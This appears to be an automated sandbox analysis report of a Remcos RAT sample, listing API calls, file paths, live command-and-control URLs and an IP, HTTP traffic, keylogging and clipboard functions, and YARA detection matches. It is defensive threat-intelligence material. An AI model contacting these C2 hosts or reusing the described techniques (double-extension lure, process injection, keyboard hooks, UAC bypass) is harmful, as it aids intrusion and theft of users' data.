Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	14_2_00007FF64B5635B8
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B57823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	17_2_00007FF64B57823C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B572978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	17_2_00007FF64B572978
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B587B4C FindFirstFileW,FindNextFileW,FindClose,	17_2_00007FF64B587B4C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B561560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	17_2_00007FF64B561560
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5635B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	17_2_00007FF64B5635B8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04589665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	31_2_04589665
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04589253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	31_2_04589253
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0459C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	31_2_0459C291
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	31_2_0458C34D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	31_2_0458BD37
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_045CE879 FindFirstFileExA,	31_2_045CE879
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	31_2_0458880C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458783C FindFirstFileW,FindNextFileW,	31_2_0458783C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_04599AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	31_2_04599AF5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 31_2_0458BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	31_2_0458BB30

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_04587C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

31_2_04587C97

Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.tmp	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user~1\	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user\AppData\Local\Temp\D2F6.tmp	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user~1\AppData\Local\	Jump to behavior
Source: C:\Users\Public\Libraries\drbdmeyP.pif	File opened: C:\Users\user~1\AppData\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://wcmanagers.com/Er9/233_Pyemdbrdpps
Source: Malware configuration extractor	URLs: www.vipguyclassproject2024.space

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_0299D028 InternetCheckConnectionA,

0_2_0299D028

Source: Joe Sandbox View

IP Address: 108.170.55.202 108.170.55.202

Source: Joe Sandbox View

ASN Name: SSASN2US SSASN2US

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic

HTTP traffic detected: GET /Er9/233_Pyemdbrdpps HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: wcmanagers.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0459663B Sleep,URLDownloadToFileW,

31_2_0459663B

Source: global traffic

HTTP traffic detected: GET /Er9/233_Pyemdbrdpps HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: wcmanagers.com

Source: global traffic	DNS traffic detected: DNS query: wcmanagers.com
Source: global traffic	DNS traffic detected: DNS query: www.vipguyclassproject2024.space
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: colorcpl.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: colorcpl.exe, 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: xkn.exe, 00000016.00000002.1319214441.000001EC81C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1359129963.0000000026652000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1392779821.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1359129963.00000000265F6000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1362819613.0000000027650000.00000004.00000020.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1335815868.0000000002326000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1362819613.00000000276AC000.00000004.00000020.00020000.00000000.sdmp, drbdmeyP.pif, drbdmeyP.pif, 00000003.00000001.1257794553.000000000043B000.00000040.00000001.00020000.00000000.sdmp, drbdmeyP.pif, 00000003.00000002.1420295868.0000000000400000.00000040.00000400.00020000.00000000.sdmp, drbdmeyP.pif, 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmp, drbdmeyP.pif, 00000003.00000000.1257373309.0000000000416000.00000002.00000001.01000000.00000005.sdmp, drbdmeyP.pif.0.dr	String found in binary or memory: http://www.pmail.com
Source: xkn.exe, 00000016.00000002.1319214441.000001EC81CA1000.00000004.00000800.00020000.00000000.sdmp, xkn.exe, 00000016.00000002.1319214441.000001EC81C63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: SystemSettingsAdminFlows.exe, 00000028.00000002.3692868865.000002F388E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.localP
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.0000000000870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wcmanagers.com/
Source: drbdmeyP.pif, 00000003.00000001.1257794553.00000000004CC000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wcmanagers.com/Er9/233_Pyemdbrdpps
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wcmanagers.com/Er9/233_Pyemdbrdpps03
Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1333260150.000000000087A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wcmanagers.com:443/Er9/233_PyemdbrdppsWz

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Source: unknown

HTTPS traffic detected: 108.170.55.202:443 -> 192.168.2.7:49700 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0458A2B8 SetWindowsHookExA 0000000D,0458A2A4,00000000

31_2_0458A2B8

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0458B70E OpenClipboard,GetClipboardData,CloseClipboard,

31_2_0458B70E

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_045968C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

31_2_045968C1

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0458B70E OpenClipboard,GetClipboardData,CloseClipboard,

31_2_0458B70E

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0458A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

31_2_0458A3E0

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3694699773.000000000281F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7688, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\gaban\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0459C9E2 SystemParametersInfoW,

31_2_0459C9E2

Reads the Security eventlog

Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior

Reads the System eventlog

Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\Public\xkn.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.colorcpl.exe.4580000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.colorcpl.exe.64218af.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.colorcpl.exe.64218af.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.colorcpl.exe.4580000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.colorcpl.exe.6420000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
